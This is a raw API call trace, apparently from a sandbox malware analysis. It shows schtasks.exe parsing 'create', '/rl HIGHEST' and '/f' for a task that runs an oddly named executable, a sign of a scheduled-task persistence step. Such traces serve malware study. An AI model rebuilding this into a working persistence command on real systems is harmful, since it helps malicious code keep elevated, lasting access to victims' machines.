(lpStart="-/", wMatch=0x27) returned 0x0 [0127.002] SetLastError (dwErrCode=0x490) [0127.002] SetLastError (dwErrCode=0x490) [0127.002] SetLastError (dwErrCode=0x0) [0127.002] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.002] GetProcessHeap () returned 0x110000 [0127.002] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x60) returned 0x12dd40 [0127.002] GetProcessHeap () returned 0x110000 [0127.002] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd10 [0127.002] SetLastError (dwErrCode=0x0) [0127.002] SetLastError (dwErrCode=0x0) [0127.002] lstrlenW (lpString="/rl") returned 3 [0127.002] lstrlenW (lpString="-/") returned 2 [0127.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.002] lstrlenW (lpString="?") returned 1 [0127.002] lstrlenW (lpString="?") returned 1 [0127.002] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.002] lstrlenW (lpString="rl") returned 2 [0127.002] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.003] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0127.003] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.003] lstrlenW (lpString="|?|") returned 3 [0127.003] lstrlenW (lpString="|rl|") returned 4 [0127.003] SetLastError (dwErrCode=0x490) [0127.003] lstrlenW (lpString="create") returned 6 [0127.003] lstrlenW (lpString="create") returned 6 [0127.003] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.003] lstrlenW (lpString="rl") returned 2 [0127.003] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.003] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0127.003] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.003] lstrlenW (lpString="|create|") returned 8 [0127.003] lstrlenW (lpString="|rl|") returned 4 [0127.003] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0127.003] SetLastError (dwErrCode=0x490) [0127.003] lstrlenW (lpString="delete") returned 6 [0127.003] lstrlenW (lpString="delete") returned 6 [0127.003] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.003] lstrlenW (lpString="rl") returned 2 [0127.003] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.003] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|delete|") returned 8 [0127.003] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.003] lstrlenW (lpString="|delete|") returned 8 [0127.003] lstrlenW (lpString="|rl|") returned 4 [0127.004] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0127.004] SetLastError (dwErrCode=0x490) [0127.004] lstrlenW (lpString="query") returned 5 [0127.004] lstrlenW (lpString="query") returned 5 [0127.004] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.004] lstrlenW (lpString="rl") returned 2 [0127.004] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.004] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|query|") returned 7 [0127.004] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.004] lstrlenW (lpString="|query|") returned 7 [0127.004] lstrlenW (lpString="|rl|") returned 4 [0127.004] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0127.004] SetLastError (dwErrCode=0x490) [0127.004] lstrlenW (lpString="change") returned 6 [0127.004] lstrlenW (lpString="change") returned 6 [0127.004] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.004] lstrlenW (lpString="rl") returned 2 [0127.004] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.004] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|change|") returned 8 [0127.004] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.004] lstrlenW (lpString="|change|") returned 8 [0127.004] lstrlenW (lpString="|rl|") returned 4 [0127.005] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0127.005] SetLastError (dwErrCode=0x490) [0127.005] lstrlenW (lpString="run") returned 3 [0127.005] lstrlenW (lpString="run") returned 3 [0127.005] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.005] lstrlenW (lpString="rl") returned 2 [0127.005] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.005] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|run|") returned 5 [0127.005] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.005] lstrlenW (lpString="|run|") returned 5 [0127.005] lstrlenW (lpString="|rl|") returned 4 [0127.005] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0127.005] SetLastError (dwErrCode=0x490) [0127.005] lstrlenW (lpString="end") returned 3 [0127.005] lstrlenW (lpString="end") returned 3 [0127.005] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.005] lstrlenW (lpString="rl") returned 2 [0127.005] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.005] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|end|") returned 5 [0127.005] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.005] lstrlenW (lpString="|end|") returned 5 [0127.005] lstrlenW (lpString="|rl|") returned 4 [0127.005] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0127.005] SetLastError (dwErrCode=0x490) [0127.006] lstrlenW (lpString="showsid") returned 7 [0127.006] lstrlenW (lpString="showsid") returned 7 [0127.006] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.006] lstrlenW (lpString="rl") returned 2 [0127.006] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.006] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|showsid|") returned 9 [0127.006] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|rl|") returned 4 [0127.006] lstrlenW (lpString="|showsid|") returned 9 [0127.006] lstrlenW (lpString="|rl|") returned 4 [0127.006] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0127.006] SetLastError (dwErrCode=0x490) [0127.006] SetLastError (dwErrCode=0x490) [0127.006] SetLastError (dwErrCode=0x0) [0127.006] lstrlenW (lpString="/rl") returned 3 [0127.006] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0127.006] SetLastError (dwErrCode=0x490) [0127.006] SetLastError (dwErrCode=0x0) [0127.006] lstrlenW (lpString="/rl") returned 3 [0127.006] GetProcessHeap () returned 0x110000 [0127.006] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12ddb0 [0127.006] GetProcessHeap () returned 0x110000 [0127.006] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd40 [0127.006] SetLastError (dwErrCode=0x0) [0127.006] SetLastError (dwErrCode=0x0) [0127.006] lstrlenW (lpString="HIGHEST") returned 7 [0127.007] lstrlenW (lpString="-/") returned 2 [0127.007] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0127.007] SetLastError (dwErrCode=0x490) [0127.007] SetLastError (dwErrCode=0x490) [0127.007] SetLastError (dwErrCode=0x0) [0127.007] lstrlenW (lpString="HIGHEST") returned 7 [0127.007] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0127.007] SetLastError (dwErrCode=0x490) [0127.007] SetLastError (dwErrCode=0x0) [0127.007] lstrlenW (lpString="HIGHEST") returned 7 [0127.007] GetProcessHeap () returned 0x110000 [0127.007] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d560 [0127.007] GetProcessHeap () returned 0x110000 [0127.007] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd70 [0127.007] SetLastError (dwErrCode=0x0) [0127.007] SetLastError (dwErrCode=0x0) [0127.007] lstrlenW (lpString="/f") returned 2 [0127.007] lstrlenW (lpString="-/") returned 2 [0127.007] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.007] lstrlenW (lpString="?") returned 1 [0127.007] lstrlenW (lpString="?") returned 1 [0127.007] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.007] lstrlenW (lpString="f") returned 1 [0127.007] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.007] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0127.008] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.008] lstrlenW (lpString="|?|") returned 3 [0127.008] lstrlenW (lpString="|f|") returned 3 [0127.008] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0127.008] SetLastError (dwErrCode=0x490) [0127.008] lstrlenW (lpString="create") returned 6 [0127.008] lstrlenW (lpString="create") returned 6 [0127.008] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.008] lstrlenW (lpString="f") returned 1 [0127.008] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.008] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|create|") returned 8 [0127.008] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.008] lstrlenW (lpString="|create|") returned 8 [0127.008] lstrlenW (lpString="|f|") returned 3 [0127.008] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0127.008] SetLastError (dwErrCode=0x490) [0127.008] lstrlenW (lpString="delete") returned 6 [0127.008] lstrlenW (lpString="delete") returned 6 [0127.008] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.008] lstrlenW (lpString="f") returned 1 [0127.008] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.010] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|delete|") returned 8 [0127.010] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.010] lstrlenW (lpString="|delete|") returned 8 [0127.010] lstrlenW (lpString="|f|") returned 3 [0127.010] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0127.010] SetLastError (dwErrCode=0x490) [0127.010] lstrlenW (lpString="query") returned 5 [0127.010] lstrlenW (lpString="query") returned 5 [0127.010] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.010] lstrlenW (lpString="f") returned 1 [0127.010] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.010] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|query|") returned 7 [0127.010] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.010] lstrlenW (lpString="|query|") returned 7 [0127.010] lstrlenW (lpString="|f|") returned 3 [0127.010] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0127.010] SetLastError (dwErrCode=0x490) [0127.010] lstrlenW (lpString="change") returned 6 [0127.010] lstrlenW (lpString="change") returned 6 [0127.010] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.010] lstrlenW (lpString="f") returned 1 [0127.010] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.010] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|change|") returned 8 [0127.011] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.011] lstrlenW (lpString="|change|") returned 8 [0127.011] lstrlenW (lpString="|f|") returned 3 [0127.011] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0127.011] SetLastError (dwErrCode=0x490) [0127.011] lstrlenW (lpString="run") returned 3 [0127.011] lstrlenW (lpString="run") returned 3 [0127.011] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.011] lstrlenW (lpString="f") returned 1 [0127.011] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.011] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|run|") returned 5 [0127.011] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.011] lstrlenW (lpString="|run|") returned 5 [0127.011] lstrlenW (lpString="|f|") returned 3 [0127.011] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0127.011] SetLastError (dwErrCode=0x490) [0127.011] lstrlenW (lpString="end") returned 3 [0127.011] lstrlenW (lpString="end") returned 3 [0127.011] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.011] lstrlenW (lpString="f") returned 1 [0127.011] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.011] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|end|") returned 5 [0127.011] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.011] lstrlenW (lpString="|end|") returned 5 [0127.011] lstrlenW (lpString="|f|") returned 3 [0127.011] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0127.011] SetLastError (dwErrCode=0x490) [0127.012] lstrlenW (lpString="showsid") returned 7 [0127.012] lstrlenW (lpString="showsid") returned 7 [0127.012] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.012] lstrlenW (lpString="f") returned 1 [0127.012] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.012] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|showsid|") returned 9 [0127.012] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|f|") returned 3 [0127.012] lstrlenW (lpString="|showsid|") returned 9 [0127.012] lstrlenW (lpString="|f|") returned 3 [0127.012] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0127.012] SetLastError (dwErrCode=0x490) [0127.012] SetLastError (dwErrCode=0x490) [0127.012] SetLastError (dwErrCode=0x0) [0127.012] lstrlenW (lpString="/f") returned 2 [0127.012] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0127.012] SetLastError (dwErrCode=0x490) [0127.012] SetLastError (dwErrCode=0x0) [0127.012] lstrlenW (lpString="/f") returned 2 [0127.012] GetProcessHeap () returned 0x110000 [0127.012] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x6) returned 0x12ddd0 [0127.012] GetProcessHeap () returned 0x110000 [0127.012] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cda0 [0127.012] SetLastError (dwErrCode=0x0) [0127.012] GetProcessHeap () returned 0x110000 [0127.012] GetProcessHeap () returned 0x110000 [0127.012] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1e0) returned 1 [0127.012] GetProcessHeap () returned 0x110000 [0127.012] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c1e0) returned 0x8 [0127.013] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1e0 | out: hHeap=0x110000) returned 1 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cbf0) returned 1 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cbf0) returned 0x20 [0127.013] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cbf0 | out: hHeap=0x110000) returned 1 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc20) returned 1 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc20) returned 0x1c [0127.013] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc20 | out: hHeap=0x110000) returned 1 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] GetProcessHeap () returned 0x110000 [0127.013] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc50) returned 1 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc50) returned 0x20 [0127.014] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc50 | out: hHeap=0x110000) returned 1 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c270) returned 1 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c270) returned 0x8 [0127.014] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c270 | out: hHeap=0x110000) returned 1 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc80) returned 1 [0127.014] GetProcessHeap () returned 0x110000 [0127.014] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc80) returned 0x20 [0127.015] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc80 | out: hHeap=0x110000) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d4e0) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d4e0) returned 0x10 [0127.015] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d4e0 | out: hHeap=0x110000) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ccb0) returned 0x20 [0127.015] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0 | out: hHeap=0x110000) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] GetProcessHeap () returned 0x110000 [0127.015] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12dcb0) returned 1 [0127.015] GetProcessHeap () returned 0x110000 [0127.016] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12dcb0) returned 0x8 [0127.016] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12dcb0 | out: hHeap=0x110000) returned 1 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0) returned 1 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cce0) returned 0x20 [0127.016] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0 | out: hHeap=0x110000) returned 1 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12dd40) returned 1 [0127.016] GetProcessHeap () returned 0x110000 [0127.016] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12dd40) returned 0x60 [0127.017] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12dd40 | out: hHeap=0x110000) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd10) returned 0x20 [0127.017] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10 | out: hHeap=0x110000) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ddb0) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ddb0) returned 0x8 [0127.017] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ddb0 | out: hHeap=0x110000) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40) returned 1 [0127.017] GetProcessHeap () returned 0x110000 [0127.017] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd40) returned 0x20 [0127.018] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40 | out: hHeap=0x110000) returned 1 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d560) returned 1 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d560) returned 0x10 [0127.018] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d560 | out: hHeap=0x110000) returned 1 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70) returned 1 [0127.018] GetProcessHeap () returned 0x110000 [0127.018] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd70) returned 0x20 [0127.019] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70 | out: hHeap=0x110000) returned 1 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ddd0) returned 1 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ddd0) returned 0x6 [0127.019] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ddd0 | out: hHeap=0x110000) returned 1 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0) returned 1 [0127.019] GetProcessHeap () returned 0x110000 [0127.019] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cda0) returned 0x20 [0127.020] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0 | out: hHeap=0x110000) returned 1 [0127.020] GetProcessHeap () returned 0x110000 [0127.020] GetProcessHeap () returned 0x110000 [0127.020] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9b0) returned 1 [0127.020] GetProcessHeap () returned 0x110000 [0127.020] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12b9b0) returned 0x18 [0127.020] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9b0 | out: hHeap=0x110000) returned 1 [0127.050] SetLastError (dwErrCode=0x0) [0127.050] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0127.050] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0127.050] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0127.050] VerifyVersionInfoW (in: lpVersionInformation=0xfc7b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc7b0) returned 1 [0127.050] SetLastError (dwErrCode=0x0) [0127.050] lstrlenW (lpString="create") returned 6 [0127.050] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0127.050] SetLastError (dwErrCode=0x490) [0127.050] SetLastError (dwErrCode=0x0) [0127.050] lstrlenW (lpString="create") returned 6 [0127.050] GetProcessHeap () returned 0x110000 [0127.050] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cda0 [0127.050] GetProcessHeap () returned 0x110000 [0127.051] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d560 [0127.051] _memicmp (_Buf1=0x12d560, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.051] GetProcessHeap () returned 0x110000 [0127.051] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d4e0 [0127.051] SetLastError (dwErrCode=0x0) [0127.051] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0127.051] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0127.051] GetProcessHeap () returned 0x110000 [0127.051] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x74e) returned 0x12dd40 [0127.052] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x12dd40 | out: lpData=0x12dd40) returned 1 [0127.052] VerQueryValueW (in: pBlock=0x12dd40, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc898, puLen=0xfc900 | out: lplpBuffer=0xfc898*=0x12e0dc, puLen=0xfc900) returned 1 [0127.052] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.052] _vsnwprintf (in: _Buffer=0x12bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc878 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 